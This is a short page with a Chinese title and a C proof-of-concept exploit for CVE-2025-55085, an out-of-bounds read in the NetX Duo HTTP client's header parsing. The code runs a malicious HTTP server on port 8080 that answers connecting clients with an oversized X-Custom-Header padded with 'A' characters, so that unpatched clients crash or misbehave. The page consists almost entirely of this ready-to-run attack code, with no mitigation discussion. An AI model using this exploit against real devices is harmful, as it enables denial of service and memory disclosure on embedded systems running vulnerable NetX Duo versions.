CVE-2025-55085：NetX Duo HTTP客户端头部解析越界漏洞

/* * CVE-2025-55085 - NetX Duo HTTP Header Parsing Out-of-Bounds Read PoC * * This PoC demonstrates a malicious HTTP server that exploits the missing * bounds verification in NetX Duo HTTP client header parsing (versions < 6.4.4). * * The malicious server returns a crafted HTTP response with an abnormally * long header field value that triggers out-of-bounds read in the client. */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/socket.h> #include <netinet/in.h> #define PORT 8080 #define BUF_SIZE 4096 /* Malicious HTTP response with oversized header to trigger OOB read */ const char *malicious_response = "HTTP/1.1 200 OK\r\n" "Content-Type: text/html\r\n" "X-Custom-Header: " /* Insert an extremely long header value to overflow the parser's buffer */ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "\r\n" "Content-Length: 0\r\n" "\r\n"; int main() { int server_fd, client_fd; struct sockaddr_in address; int addrlen = sizeof(address); char buffer[BUF_SIZE] = {0}; /* Create malicious HTTP server socket */ server_fd = socket(AF_INET, SOCK_STREAM, 0); address.sin_family = AF_INET; address.sin_addr.s_addr = INADDR_ANY; address.sin_port = htons(PORT); bind(server_fd, (struct sockaddr *)&address, sizeof(address)); listen(server_fd, 3); printf("[+] Malicious HTTP server listening on port %d\n", PORT); printf("[+] Waiting for NetX Duo HTTP client connection...\n"); /* Accept incoming connection from vulnerable NetX Duo client */ client_fd = accept(server_fd, (struct sockaddr *)&address, (socklen_t *)&addrlen); /* Read the HTTP request from client */ read(client_fd, buffer, BUF_SIZE); printf("[+] Received request from client\n"); /* Send malicious HTTP response with oversized header */ send(client_fd, malicious_response, strlen(malicious_response), 0); printf("[+] Sent malicious HTTP response with oversized header\n"); printf("[+] If the client is NetX Duo < 6.4.4, it may crash or exhibit undefined behavior\n"); close(client_fd); close(server_fd); return 0; }